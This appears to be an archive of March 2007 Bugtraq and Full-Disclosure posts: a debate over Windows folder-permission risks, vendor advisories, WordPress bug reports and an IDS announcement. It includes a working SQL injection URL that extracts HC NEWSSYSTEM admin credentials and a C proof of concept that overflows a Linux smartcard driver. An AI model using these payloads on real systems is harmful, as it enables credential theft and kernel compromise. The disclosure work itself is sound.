If   I   want   to  "make  news  media",  I  write  article  on  Russian
cyberterrorism  and it's connection with Ukraine, Germany and US. Not an
article on enterprise file management best security practices.
--At least that is a real problem.

Re: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues

[Tim]

> Pardon me for maybe being a little na?ve here, but the situation you state: 
> 
> "I have conducted code reviews on several commercial apps which use C:\TEMP 
> in very insecure ways to store sensitive data."  
> 
> That would certainly seem to me that a programmer and the QA process
> failed.  I struggle to see where Windows is to blame for that.  I am no
> "Windows lover" but as a working security professional, I see as much
> poorly written code junking up Linux, Unix, Apples (yes we have them
> all) as I see with Windows, yet in those situations, will you blame the
> OS there too?  I think it is time you take the bias you have, set it
> aside and look at the statement you made which was concise, accurate and
> factual, then point the blame where it belongs; at the code writers
> whose code you review!.

No, I never said I blame Windows for a poorly written app such as this.
Don't jump to conclusions.

Many developers might think using predictable filenames in TEMP might be
ok, since Windows doesn't (yet) have issues related to symlink attacks.
However, ZARAZA has shown a few ways to exploit this lame practice
anyway, beyond just a DoS.  That's all I'm saying.

tim

RE: Re[2]: Microsoft Windows Vista/2003/XP/2000 file management security issues

[Roger A. Grimes]

I appreciate you writing back.

But we'll have to agree to disagree. Your security scenarios are just bizarre. 
It's a lot easier to hack people then going through all the interations you 
suggest.

For one, I've been a sys admin for 20 years and NEVER created a private folder 
under a public folder. Not in my Novell days, not in my Windows days. The only 
time I've seen a private folder created under a public folder is the \Users 
folder, and in that case, the users only have Read and List access to the 
parent \Users folder, and then Full Control to their own folders.

I mean let's debate why users get Full Control to their own folders in the 
first place. That's a common scenario (it's on nearly every network) and its 
almost always too many permissions. Do I want my regular end-users changing 
their folder's security permissions? No. Should any regular end-user have Full 
Control to any share? No, for the same reason.  These are valid, common, 
security points that really do beg further discussion.

You're just making up crap up that isn't overly realistic in the world, then 
going further to assume that a bonehead administrator compounds the problem by 
making further insecure decisions.

You are essentially say, "If you misconfigure your system and make further 
insecure choices, someone can hack you." Duh.

There's a reason why your "announcements" aren't making the news 
media...because it isn't news.

With that said, you have something valid to say, but so far it just isn't a 
"security vulnerability" that people need to be aware of.

You're a smart person, concentrate on issues that will really give us bang for 
the buck discussions and issues.

Roger

*
*Roger A. Grimes, InfoWorld, Security Columnist 
*CPA, CISSP, MCSE: Security (2000/2003/MVP), CEH, yada...yada...
*email: [EMAIL PROTECTED] or [EMAIL PROTECTED]
*Author of Professional Windows Desktop and Server Hardening (Wrox)
*http://www.amazon.com/gp/product/0764599909
*


-Original Message-
From: 3APA3A [mailto:[EMAIL PROTECTED] 
Sent: Friday, March 09, 2007 7:09 AM
To: Roger A. Grimes
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk
Subject: Re[2]: Microsoft Windows Vista/2003/XP/2000 file management security 
issues

Dear Roger A. Grimes,

--Friday, March 9, 2007, 7:31:54 AM, you wrote to [EMAIL PROTECTED]:

RAG> If Alice deletes Bob's folder (which she could do in some scenarios 
RAG> because she has the write/modify permission) and re-creates it, she 
RAG> becomes  the Creator Owner and now Bob no longer has the ability to 
RAG> set permissions on it.

As a folder owner Alice can give any permissions to Bob she wants.

RAG> If I take your strange assumptions, Bob could re-discover the newly 
RAG> created folder that Alice made, just like she did (I mean if you 
RAG> make up crap scenarios, why can't I), and do the same trick back to her.

He can, if he knows he must.

RAG> And Windows does have a umask-like function. It's called Creator Owner.
RAG> It's a well known SID, and the default permissions for it can be 
RAG> set so that any granular permission you want can be set to be default.

I  see  nothing  similar  between Creator Owner and umask. BTW, the same 
article  explains  why  Creator  Owner  is not 100% solution and why you should 
not rely on Creator Owner in case of DFS replication.

RAG> Vista does have symbolic links, and Windows has supported Junction 
RAG> Points (similar to symbolic links) since Windows 2000. The main 
RAG> difference is that Junction Points could only point to local 
RAG> resources and symbolic links can do remote resources as well.

Junction  points are very close to Unix mounts, I see no any likeness to 
symbolic  links.  Junctions  points  (and  by default, symbolic links in
Vista)  can  only  be  created  by  administrators,  it prevents symlink 
attack. And it's right choice.

RAG> You've come up with some strange scenarios below, and in all cases 
RAG> I could easily defeat the problem you are suggesting by using 
RAG> basic, recommended, security settings.


"You never know what is enough unless you know more than enough."
William Blake

It's  quite  hard  to defeat the threat without knowing it. I'm disagree with  
you about "recommended security settings". I never saw "disconnect all  users 
and close access to the share" or "check you are still folder owner before copy 
the data" in instructions on how to create file/folder with restricted access 
inside public one. Or "xcopy /O doesn't guarantee file  can  not  be  accessed  
during  copy operation" or "Do not rely on Creator Owner in case of 
replication".

RAG> Why  do  you spend your time coming up with such weird scenarios to 
RAG> focus  on?

Roger,  have  you  ever  used  robocopy  or  xcopy  /O? I'm not security 
columnist,  I  am  syst

TSLSA-2007-0009 - multi

[Trustix Security Advisor]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Trustix Secure Linux Security Advisory #2007-0009

Package names: gnupg, php4
Summary:   Multiple vulnerabilities
Date:  2007-03-09
Affected versions: Trustix Secure Linux 2.2
   Trustix Secure Linux 3.0
   Trustix Secure Linux 3.0.5
   Trustix Operating System - Enterprise Server 2

- --
Package description:
  gnupg
  GnuPG is a complete and free replacement for PGP. Because it does not
  use IDEA it can be used without any restrictions. GnuPG is in compliance
  with the OpenPGP specification (RFC2440).

  php4
  PHP is an HTML-embedded scripting language. PHP attempts to make
  it easy for developers to write dynamically generated web pages.
  PHP also offers built-in database integration for several commercial
  and non-commercial database management systems, so writing a
  database-enabled web page with PHP is fairly simple. The most
  common use of PHP coding is probably as a replacement for CGI
  scripts. The mod_php module enables the Apache web server to
  understand and process the embedded PHP language in web pages.

Problem description:
  gnupg < TSL 3.0.5 >  < TSL 3.0 >
  - New Upstream.
  - SECURITY Fix: GnuPG 1.4.6 and earlier, when run from the command
line, does not visually distinguish signed and unsigned portions
of OpenPGP messages with multiple components, which might allow
remote attackers to forge the contents of a message without
detection.

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2007-1263 to this issue.

  php4 < TSL 2.2 > < TSEL 2 >
  - New Upstream.
  - Fixes crash problem with the session extension when register_globals
is turned on.
  - SECURITY Fix: Several vulnerabilities have been reported in PHP,
which can be exploited by malicious people to disclose potentially
sensitive information, cause a DoS and potentially compromise a
vulnerable system. (SA24089)
  
Action:
  We recommend that all systems with this package installed be upgraded.
  Please note that if you do not need the functionality provided by this
  package, you may want to remove it from your system.


Location:
  All Trustix Secure Linux updates are available from
  http://http.trustix.org/pub/trustix/updates/>
  ftp://ftp.trustix.org/pub/trustix/updates/>


About Trustix Secure Linux:
  Trustix Secure Linux is a small Linux distribution for servers. With focus
  on security and stability, the system is painlessly kept safe and up to
  date from day one using swup, the automated software updater.


Automatic updates:
  Users of the SWUP tool can enjoy having updates automatically
  installed using 'swup --upgrade'.


Questions?
  Check out our mailing lists:
  http://www.trustix.org/support/>


Verification:
  This advisory along with all Trustix packages are signed with the
  TSL sign key.
  This key is available from:
  http://www.trustix.org/TSL-SIGN-KEY>

  The advisory itself is available from the errata pages at
  http://www.trustix.org/errata/trustix-2.2/>
  http://www.trustix.org/errata/trustix-3.0/> and
  http://www.trustix.org/errata/trustix-3.0.5/>
  or directly at
  http://www.trustix.org/errata/2007/0009/>


MD5sums of the packages:
- --
bafa34d79da94e06cbced9fb6be856bc  3.0.5/rpms/gnupg-1.4.7-1tr.i586.rpm
a4eec3de278ba9cf3d281079bc25ca48  3.0.5/rpms/gnupg-utils-1.4.7-1tr.i586.rpm

bf409ef7bd3f2ccb039063968d3f39d2  3.0/rpms/gnupg-1.4.7-1tr.i586.rpm
2a66ba2cc799d8acb648072e49d46227  3.0/rpms/gnupg-utils-1.4.7-1tr.i586.rpm

639bde6894ecc53c8cf198a57d86abfa  2.2/rpms/php4-4.4.6-1tr.i586.rpm
87de267da760309c46a7ef2b682fff2b  2.2/rpms/php4-cli-4.4.6-1tr.i586.rpm
180ba74efc954cb4d63d8e613eb9cda8  2.2/rpms/php4-curl-4.4.6-1tr.i586.rpm
3a100aacfd5fdc5a8c79246abfe436cf  2.2/rpms/php4-devel-4.4.6-1tr.i586.rpm
3c9c2b6d34e91997ca9e3c9e1e2bd69d  2.2/rpms/php4-domxml-4.4.6-1tr.i586.rpm
4f6e0cc934aad6fd0d367e6e3f1f083b  2.2/rpms/php4-exif-4.4.6-1tr.i586.rpm
4bb5a6780ce263b7f963c74c0a7c68a4  2.2/rpms/php4-fcgi-4.4.6-1tr.i586.rpm
7b5c1a560fb13ede6508864f929ed2fd  2.2/rpms/php4-gd-4.4.6-1tr.i586.rpm
743a1f4180b61820e202e1a7adc2fbbb  2.2/rpms/php4-imap-4.4.6-1tr.i586.rpm
9dd9d2ab1537a0218467df98d7cc32e7  2.2/rpms/php4-ldap-4.4.6-1tr.i586.rpm
79bfff33013dc930ece67d8411ac5b56  2.2/rpms/php4-mhash-4.4.6-1tr.i586.rpm
adaa356574ff08c2e54db4084950a10d  2.2/rpms/php4-mysql-4.4.6-1tr.i586.rpm
59ba6c4c1d985f17a5a6b49532ff1157  2.2/rpms/php4-pgsql-4.4.6-1tr.i586.rpm
22b3e87e3b97c4b7bf4b7dd5c04c98bf  2.2/rpms/php4-test-4.4.6-1tr.i586.rpm
- --


Trustix Security Team


-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.6 (GNU/Linux)

iD8

Re: Sql injection in WordPress 2.1.2

[steven]

Care to provide a demonstration exploit then?  You do realize that
$new_cat is just a variable pulled from the $add_cats array, right?  Show
everyone how you are going to inject SQL into the list of categories.


> Hello,
>
> There is a sql injection in WordPress 2.1.2 (and maybe others) .
> A user with "add link" permission (Editor/Administrator) can do this :
>
> The '$new_cat' variable in "wp_set_link_cats()" function is not checked
> properly before be used in the sql query :
>
> File /wp-admin/admin-db.php, Line 472 :
>
>   $wpdb->query("
>   INSERT INTO $wpdb->link2cat (link_id, 
> category_id)
>   VALUES ($link_ID, $new_cat)");
>
>
> - Omid
>

[ GLSA 200703-08 ] SeaMonkey: Multiple vulnerabilities

[Raphael Marichez]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200703-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: SeaMonkey: Multiple vulnerabilities
  Date: March 09, 2007
  Bugs: #16
ID: 200703-08

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


Multiple vulnerabilities have been reported in SeaMonkey, some of which
may allow user-assisted arbitrary remote code execution.

Background
==

The SeaMonkey project is a community effort to deliver
production-quality releases of code derived from the application
formerly known as the 'Mozilla Application Suite'.

Affected packages
=

---
 Package   /  Vulnerable  / Unaffected
---
  1  www-client/seamonkey   < 1.1.1   >= 1.1.1
  2  www-client/seamonkey-bin   < 1.1.1   >= 1.1.1
---
 2 affected packages on all of their supported architectures.
---

Description
===

Tom Ferris reported a heap-based buffer overflow involving wide SVG
stroke widths that affects SeaMonkey. Various researchers reported some
errors in the JavaScript engine potentially leading to memory
corruption. SeaMonkey also contains minor vulnerabilities involving
cache collision and unsafe pop-up restrictions, filtering or CSS
rendering under certain conditions. All those vulnerabilities are the
same as in GLSA 200703-04 affecting Mozilla Firefox.

Impact
==

An attacker could entice a user to view a specially crafted web page or
to read a specially crafted email that will trigger one of the
vulnerabilities, possibly leading to the execution of arbitrary code.
It is also possible for an attacker to spoof the address bar, steal
information through cache collision, bypass the local file protection
mechanism with pop-ups, or perform cross-site scripting attacks,
leading to the exposure of sensitive information, such as user
credentials.

Workaround
==

There is no known workaround at this time for all of these issues, but
most of them can be avoided by disabling JavaScript. Note that the
execution of JavaScript is disabled by default in the SeaMonkey email
client, and enabling it is strongly discouraged.

Resolution
==

Users upgrading to the following release of SeaMonkey should note that
the corresponding Mozilla Firefox upgrade has been found to lose the
saved passwords file in some cases. The saved passwords are encrypted
and stored in the 'signons.txt' file of ~/.mozilla/ and we advise our
users to save that file before performing the upgrade.

All SeaMonkey users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=www-client/seamonkey-1.1.1"

All SeaMonkey binary users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=www-client/seamonkey-bin-1.1.1"

References
==

  [ 1 ] CVE-2006-6077
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6077
  [ 2 ] CVE-2007-0775
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0775
  [ 3 ] CVE-2007-0776
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0776
  [ 4 ] CVE-2007-0777
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0777
  [ 5 ] CVE-2007-0778
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0778
  [ 6 ] CVE-2007-0779
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0779
  [ 7 ] CVE-2007-0780
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0780
  [ 8 ] CVE-2007-0800
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0800
  [ 9 ] CVE-2007-0801
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0801
  [ 10 ] CVE-2007-0981
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0981
  [ 11 ] CVE-2007-0995
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0995
  [ 12 ] Mozilla Password Loss Bug
 https://bugzilla.mozilla.org/show_bug.cgi?id=360493#c366

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200703-08.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may 

WordPress XSS under function wp_title()

[g30rg3_x]

_
ChX Security |
Advisory #1  |
=

->"WordPress XSS under function wp_title()"<-

__
Data |
==
Author: g30rg3_x 
Program: WordPress 
Severity: Less Critical.
Type of Advisory: Mid Disclosure.
Affected/Tested Versions:
-> Series 2.0.x: <= 2.0.10-alpha
-> Series 2.1.x: <= 2.1.3-alpha
-> Series SVN latest: <= 2.2-bleeding (Revision 5002)


Program Description |

WordPress is a state-of-the-art semantic personal publishing platform
with a focus on aesthetics, web standards, and usability.
What a mouthful. WordPress is both free and priceless at the same time.
More simply, WordPress is what you use when you want to work with your
blogging software, not fight it.

_
Overview |
=
The query variable "year" inside the function "wp_title", its not sanitized
so it allows a non persistent cross site scripting attack.

___
WorkAround |
===
$title takes the value in raw (without any type of filter) of $year which is an
a query variable, that can be filled with any web browser via a simply
GET parameter.


Proof Of Concept|

ChX Security will not release any proof of concept.


Solution/Fix|

The lastest SVN Revision (greater than revision 5002) has alredy fixed
this bug...
http://trac.wordpress.org/changeset/5003

For series 2.1.x and 2.0.x, the vendor will fix this in the next set
of dot releases.

__
Dates |
==
Bug Found: 2/03/2007
Vendor Contact: 3/03/2007
Vendor Response: 7/03/2007
Public Disclosure: 9/03/2007
___
Shouts |
===
Paisterist, NitRic, HaCkZaTaN, PescaoDeth, alex_hk23 and all mexican white hats.
White Hat Powa.

   ChX Security
  http://chxsecurity.org/
(c) 2007

--
Copy: http://chxsecurity.org/advisories/adv-1-mid.txt
_
g30rg3_x

RE: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues

[Roger A. Grimes]

So, let me get this. An app storing sensitive data doesn't make its own
temp storage folders in a secure location, and instead relies upon one
of the few folders in Windows that all users have Full Control to, and
this is a Windows problem?  In Linux, if an app uses \tmp, is that a
Linux issue?

Sounds like a developer issue to me.

Roger

-Original Message-
From: Tim [mailto:[EMAIL PROTECTED] 
Sent: Friday, March 09, 2007 11:20 AM
To: Roger A. Grimes
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file
management security issues


I find your assessment somewhat short-sighted.  I have conducted code
reviews on several commercial apps which use C:\TEMP in very insecure
ways to store sensitive data.  It seems some of these attacks would be
possible in those situations.

Sure, Windows is already pathetically insecure against an attackers
already on the local system, but this would be yet another attack
vector.

tim

Re: Re[2]: Microsoft Windows Vista/2003/XP/2000 file management security issues

[Thor (Hammer of God)]

Wouldn't properly using inheritance obviate the issue?

t



- Original Message - 
From: "M. Burnett" <[EMAIL PROTECTED]>
To: "'Roger A. Grimes'" <[EMAIL PROTECTED]>; "'3APA3A'" 
<[EMAIL PROTECTED]>; ; 


Sent: Friday, March 09, 2007 9:43 AM
Subject: RE: Re[2]: Microsoft Windows Vista/2003/XP/2000 file management 
security issues




But we'll have to agree to disagree. Your security scenarios are just
bizarre. It's a lot easier to hack people then going through all the
interations you suggest.


Roger, don't be so hard on 3APA3A for this. You can't judge a vulnerability
based on current scenarios because we really can't begin to imagine how
these things might be exploited in future attacks. For example, the attack
of deleting someone's folder and re-creating it before they set permissions
sounds bizarre until someone makes a tool that does that automatically to
all new folders. It changes everything when even the front desk secretary
can pull off the attack.

And even if it would be lame for someone to set up a folder where this would
be possible, people will still set up folders where this is possible. It's
important for us to be aware of the risks of these configurations. And you
have to admit, it is pretty amazing he found something we all missed for the
last ten years, despite how simple it is.

Finally, I don't think 3APA3A is over hyping this issue beyond what it
really is. He acknowledges that it isn't really a vulnerability and he's not
submitting press releases to all the mainstream media. He gave Microsoft
fair notice and awaited their decision and he's not screaming that everyone
must abandon Windows. But he is informing the security community of
something that we certainly should be aware of.


Mark Burnett
http://xato.net



For one, I've been a sys admin for 20 years and NEVER created a private
folder under a public folder. Not in my Novell days, not in my Windows
days. The only time I've seen a private folder created under a public
folder is the \Users folder, and in that case, the users only have Read
and List access to the parent \Users folder, and then Full Control to
their own folders.

I mean let's debate why users get Full Control to their own folders in
the first place. That's a common scenario (it's on nearly every
network) and its almost always too many permissions. Do I want my
regular end-users changing their folder's security permissions? No.
Should any regular end-user have Full Control to any share? No, for the
same reason.  These are valid, common, security points that really do
beg further discussion.

You're just making up crap up that isn't overly realistic in the world,
then going further to assume that a bonehead administrator compounds
the problem by making further insecure decisions.

You are essentially say, "If you misconfigure your system and make
further insecure choices, someone can hack you." Duh.

There's a reason why your "announcements" aren't making the news
media...because it isn't news.

With that said, you have something valid to say, but so far it just
isn't a "security vulnerability" that people need to be aware of.

You're a smart person, concentrate on issues that will really give us
bang for the buck discussions and issues.

Roger

*
*Roger A. Grimes, InfoWorld, Security Columnist
*CPA, CISSP, MCSE: Security (2000/2003/MVP), CEH, yada...yada...
*email: [EMAIL PROTECTED] or [EMAIL PROTECTED]
*Author of Professional Windows Desktop and Server Hardening (Wrox)
*http://www.amazon.com/gp/product/0764599909
*
http://winblogs.security-feed.com
Server Hardening, NTFS
-Original Message-
From: 3APA3A [mailto:[EMAIL PROTECTED]
Sent: Friday, March 09, 2007 7:09 AM
To: Roger A. Grimes
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk
Subject: Re[2]: Microsoft Windows Vista/2003/XP/2000 file management
security issues

Dear Roger A. Grimes,

--Friday, March 9, 2007, 7:31:54 AM, you wrote to
[EMAIL PROTECTED]:

RAG> If Alice deletes Bob's folder (which she could do in some
scenarios
RAG> because she has the write/modify permission) and re-creates it,
she
RAG> becomes  the Creator Owner and now Bob no longer has the ability
to
RAG> set permissions on it.

As a folder owner Alice can give any permissions to Bob she wants.

RAG> If I take your strange assumptions, Bob could re-discover the
newly
RAG> created folder that Alice made, just like she did (I mean if you
RAG> make up crap scenarios, why can't I), and do the same trick back
to her.

He can, if he knows he must.

RAG> And Windows does have a umask-like function. It's called Creator
Owner.
RAG> It's a well known SID, and the default permissions for it can be
RAG> set so that any granular permission you want can be set to be
default.

I  see  nothing  similar  between Creator Owner and umask. BTW, the
same article  explains  why  Creator  Owner  is not 100

Re: Firekeeper - IDS for Firefox available

[Jex]

Doesn't SandboxIE (http://www.sandboxie.com/) already do something
similar, and work on Firefox and IE?

Though more fish in the pool to bring up the competitive programming
level up is always good. ^^
-Jex

On 3/6/07, Jan Wrobel <[EMAIL PROTECTED]> wrote:

Hi,

First official alpha release of Firekeeper - Intrusion Detection and
Prevention System for Firefox is available for download. Firekeeper
adds additional layer of protection to the browser. It uses flexible
rules similar to Snort ones to describe browser based attack
attempts. All incoming HTTP and HTTPS traffic is scanned with these
rules. HTTPS and compressed responses are scanned after
decryption/decompression. Suspicious response can trigger an alert that
is displayed to the user or can be automatically cancelled, depending
on an action specified in the rule. Firekeeper uses very effective
pattern matching engine from Snort and with well written rules doesn't
have a negative impact on the browser performance.

More information, screenshots and download links can be found at:
http://firekeeper.mozdev.org
Project is GPL licensed.

Comments are very welcome.

Cheers,
Jan Wrobel


Test Your IDS

Is your IDS deployed correctly?
Find out quickly and easily by testing it
with real-world attacks from CORE IMPACT.
Go to 
http://www.coresecurity.com/index.php5?module=Form&action=impact&campaign=intro_sfw
to learn more.

RE: Re[2]: Microsoft Windows Vista/2003/XP/2000 file management security issues

[Roger A. Grimes]

But there is no difference in the treatment between this issue in Linux or 
Windows. In both systems, if I want to prevent attacks like this, I can do 
something ahead of time (i.e. umask or modify the Creator Owner SID, or 
inheritance). Only OpenBSD (and other BSD and hardened Linux's) do a better job 
by having a better default Umask. But in the typical Linux distro, I have to 
set the umask. He makes up a scenario of placing a secure folder insider of an 
insecure folder, and I'm somehow supposed to accept that as normal?

Mark, I respect you and your work greatly. I like a lot of 3APA3A's ideas and 
concernsbut they aren't in the realm of a real security concern.  Real 
security concerns are when I can't do anything with the default OS to stop the 
weird attack they mention. In this case, there are plenty of things I can do.  
I don't have to buy software or be a security genius. I just have to not place 
a "secure" folder in an insecure folder.  

Roger

*
*Roger A. Grimes, InfoWorld, Security Columnist 
*CPA, CISSP, MCSE: Security (2000/2003/MVP), CEH, yada...yada...
*email: [EMAIL PROTECTED] or [EMAIL PROTECTED]
*Author of Professional Windows Desktop and Server Hardening (Wrox)
*http://www.amazon.com/gp/product/0764599909
*


-Original Message-
From: M. Burnett [mailto:[EMAIL PROTECTED] 
Sent: Friday, March 09, 2007 12:44 PM
To: Roger A. Grimes; '3APA3A'; bugtraq@securityfocus.com; 
full-disclosure@lists.grok.org.uk
Subject: RE: Re[2]: Microsoft Windows Vista/2003/XP/2000 file management 
security issues

> But we'll have to agree to disagree. Your security scenarios are just 
> bizarre. It's a lot easier to hack people then going through all the 
> interations you suggest.

Roger, don't be so hard on 3APA3A for this. You can't judge a vulnerability 
based on current scenarios because we really can't begin to imagine how these 
things might be exploited in future attacks. For example, the attack of 
deleting someone's folder and re-creating it before they set permissions sounds 
bizarre until someone makes a tool that does that automatically to all new 
folders. It changes everything when even the front desk secretary can pull off 
the attack. 

And even if it would be lame for someone to set up a folder where this would be 
possible, people will still set up folders where this is possible. It's 
important for us to be aware of the risks of these configurations. And you have 
to admit, it is pretty amazing he found something we all missed for the last 
ten years, despite how simple it is. 
 
Finally, I don't think 3APA3A is over hyping this issue beyond what it really 
is. He acknowledges that it isn't really a vulnerability and he's not 
submitting press releases to all the mainstream media. He gave Microsoft fair 
notice and awaited their decision and he's not screaming that everyone must 
abandon Windows. But he is informing the security community of something that 
we certainly should be aware of. 


Mark Burnett
http://xato.net

 
> For one, I've been a sys admin for 20 years and NEVER created a 
> private folder under a public folder. Not in my Novell days, not in my 
> Windows days. The only time I've seen a private folder created under a 
> public folder is the \Users folder, and in that case, the users only 
> have Read and List access to the parent \Users folder, and then Full 
> Control to their own folders.
> 
> I mean let's debate why users get Full Control to their own folders in 
> the first place. That's a common scenario (it's on nearly every
> network) and its almost always too many permissions. Do I want my 
> regular end-users changing their folder's security permissions? No.
> Should any regular end-user have Full Control to any share? No, for 
> the same reason.  These are valid, common, security points that really 
> do beg further discussion.
> 
> You're just making up crap up that isn't overly realistic in the 
> world, then going further to assume that a bonehead administrator 
> compounds the problem by making further insecure decisions.
> 
> You are essentially say, "If you misconfigure your system and make 
> further insecure choices, someone can hack you." Duh.
> 
> There's a reason why your "announcements" aren't making the news 
> media...because it isn't news.
> 
> With that said, you have something valid to say, but so far it just 
> isn't a "security vulnerability" that people need to be aware of.
> 
> You're a smart person, concentrate on issues that will really give us 
> bang for the buck discussions and issues.
> 
> Roger
> 
> *
> *Roger A. Grimes, InfoWorld, Security Columnist *CPA, CISSP, MCSE: 
> Security (2000/2003/MVP), CEH, yada...yada...
> *email: [EMAIL PROTECTED] or [EMAIL PROTECTED] *Author of 
> Professional Windows Desktop and Server Hardening (Wr

HC NEWSSYSTEM 1.0-4 (index.php "ID") Blind SQL Injection

[UniquE]

HC NEWSSYSTEM 1.0-4 (index.php "ID") Blind SQL Injection

Type :

SQL Injection

Release Date :

{2007-03-08}

Product / Vendor :

HC Design News Publisher.

http://www.hcdesign.at/demo

Bug :

http://localhost/script/index.php?option=news&aktion=komm&ID=-SQL Inj.-

SQL Inj Code :

Admin Username/Password Query

http://localhost/path/index.php?option=news&aktion=komm&ID=-1/**/UNION/**/SELECT/**/null,null,mname,null,mpassword,null,null/**/FROM/**/hcmitglieder/**/WHERE/**/id=1/*

Tested :

HC NEWSSYSTEM Version:1.4

Vulnerable :

HC NEWSSYSTEM Version:1.0

-

HC NEWSSYSTEM Version:1.4

Note :

Title

"HC NEWSSYSTEM Version:1.4"

Admin Panel

http://www.victim.com/[path]/admin

Code Upload

http://www.victim.com/[path]/admin/upload.php

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

Buffer Overflow in Linux Drivers for Omnikey CardMan 4040 (CVE-2007-0005)

[Daniel Roethlisberger]

#
#
# COMPASS SECURITY ADVISORY   http://www.csnc.ch/
#
#
#
# Product:  Linux Driver for Omnikey CardMan 4040
# Vendor:   Omnikey GmbH / Harald Welte
# Subject:  Buffer Overflow
# Risk: Medium
# Effect:   Locally exploitable
# Author:   Daniel Roethlisberger ([EMAIL PROTECTED])
# Date: 2007-03-07
# CVE Name: CVE-2007-0005
#
#


Introduction:
-
The Linux drivers for the Omnikey CardMan 4040 smartcard reader contain
a buffer overflow vulnerability.  Local attackers with direct or
indirect write permissions to a cmx device file can execute arbitrary
code with kernel privileges or may cause denial of service.


Vulnerable:
---
 * Linux 2.4/2.6 cm4040 drivers by Omnikey:
- cm4040 v1.1.0
- cm4040 v1.2.0
- cm4040 v2.0.0
 * Linux 2.6 cm4040 drivers by Harald Welte, as included in:
- Linux 2.6.15 ... 2.6.20.1

Not vulnerable:
---
 * Linux 2.4/2.6 cm4040 drivers by Omnikey:
- cm4040 v1.0.0
 * FreeBSD cmx driver by Daniel Roethlisberger

Not tested:
---
 * Other Linux driver versions
 * Drivers for MacOS X, Windows


Technical Description:
--
While using the Linux drivers for the CM4040 as a reference for writing
a cmx FreeBSD driver, Compass Security has discovered two buffer
overflows in the Linux drivers.  One of them in the write() and another
one in the read() handler.

When calling write() with a buffer larger than 512 bytes, the driver's
write buffer overflows, allowing to overwrite the EIP and execute
arbitrary code with kernel privileges.

In the read() handler, there is a similar problem with data originating
in the device.  A malicious or buggy device sending more than 512 bytes
can overflow the driver's read buffer to the same effect.

Of course, the write() vulnerability is only exploitable by users with
direct or indirect write access to the cmx device special file.  By
default, direct access is limited to root.  Therefore, one might think
this is not an issue.  However, unprivileged users may cause large
indirect writes via userland daemons such as those provided by pcsc-lite
or openct.  Since "normal" APDUs are smaller than 512 bytes, this may
not be an issue, but I haven't looked into the various ways to cause
data to be written indirectly.

Furthermore, a system can be set up to allow access to the device for a
special user or group in order to increase security by running the
userland drivers without root privileges.  In such a setup users with
access to the device can escalate privileges or cause DoS.


PoC Code:
-
/*
 * Linux Omnikey Cardman 4040 driver buffer overflow (CVE-2007-0005)
 * Copyright (C) Daniel Roethlisberger <[EMAIL PROTECTED]>
 * Compass Security Network Computing AG, Rapperswil, Switzerland.
 * All rights reserved.
 * http://www.csnc.ch/
 */

#include
#include
#include
#include
#include
#include
#include

int main(int argc, char *argv[]) {
int fd, i, n;
char buf[8192];

/*
 * 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  ...
 * 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 ...
 */
for (i = 0; i < sizeof(buf); i += 2) {
buf[i]   = (char)(((i/2) & 0xFF00) >> 8);
buf[i+1] = (char) ((i/2) & 0x00FF);
}

if ((fd = open("/dev/cmx0", O_RDWR)) < 0) {
printf("Error: open() => %s\n", strerror(errno));
exit(errno);
}
if ((n = write(fd, buf, sizeof(buf))) < 0) {
printf("Error: write() => %s\n", strerror(errno));
exit(errno);
}
printf("%d of %d bytes written\n", n, sizeof(buf));
exit(0);
}


Workaround:
---
Patch available:http://lkml.org/lkml/2007/3/6/386


Timeline:
-
Vendor Status:  Linux 2.6.21-rc3 contains the patch.
Omnikey will fix it in their next driver release.
Vendor Notified:2007-02-05 (Harald Welte)
2007-02-06 (vendor-sec, Omnikey)
Vendor Response:Will fix (Harald Welte, vendor-sec)
Will fix but not coordinate release schedule (Omnikey)
Embargo Until:  2007-03-06


-- 
Daniel Roethlisberger, Compass Security Network Computing AG
Glaernischstrasse 7, CH-8640 Rapperswil, Switzerland

Tel +41 55 214 41 77
Fax +41 55 214 41 61
[EMAIL PROTECTED]
http://www.csnc.ch/

PGP: D927 96F6 7266 1683 06CF  F984 ACEC DBB0 6929 2CBA
Security Review - Penetration Testing - Computer Forensics

[ MDKSA-2007:058 ] - Updated ekiga packages fix string vulnerabilities.

[security]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___
 
 Mandriva Linux Security Advisory MDKSA-2007:058
 http://www.mandriva.com/security/
